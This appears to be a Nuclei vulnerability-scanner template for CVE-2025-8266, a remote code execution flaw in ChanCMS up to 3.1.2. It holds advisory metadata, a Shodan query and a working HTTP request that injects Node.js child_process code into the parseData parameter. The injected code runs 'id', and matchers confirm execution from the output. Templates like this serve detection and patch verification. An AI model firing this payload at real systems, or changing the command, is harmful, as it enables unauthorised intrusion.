id: CVE-2025-8266 info: name: ChanCMS <= 3.1. - Remote Code Execution author: Ark severity: critical description: | yanyutao0402 ChanCMS <= 3.1.2 contains an insecure deserialization caused by manipulation of the \"targetUrl\" argument in getArticle function of app/modules/cms/controller/collect.js, letting remote attackers execute arbitrary code, exploit requires crafted input. impact: | Remote attackers can execute arbitrary code, potentially leading to full system compromise. remediation: | Upgrade to version 3.1.3. reference: - https://nvd.nist.gov/vuln/detail/CVE-2025-8266 - https://github.com/advisories/GHSA-pg2f-hfwm-m7g5 - https://avd.aliyun.com/detail?id=AVD-2025-8266 - https://dbugs.ptsecurity.com/vulnerability/PT-2025-31058 metadata: verified: true max-request: 1 shodan-query: html:"ChanCMS" tags: cve,cve2025,chancms,rce,deserialization,intrusive,vuln,vkev http: - raw: - | GET /cms/gather/getArticle?targetUrl=http://jsonplaceholder.typicode.com/posts/1&parseData=return+process.mainModule.require(%27child_process%27).execSync(%27id%27).toString() HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(body, "uid=", "gid=", "groups=")' - 'contains(header, "ChanCMS")' condition: and # digest: 4b0a00483046022100a8ae1b283e8bdf44fdf0aca7a35c3b59fc17bf33d58fc21198c9a5347d57361c022100d092f45e04766a24f2ac8a312b485818500667e224779ba4b131bdec770bd277:922c64590222798bb761d5b6d8e72950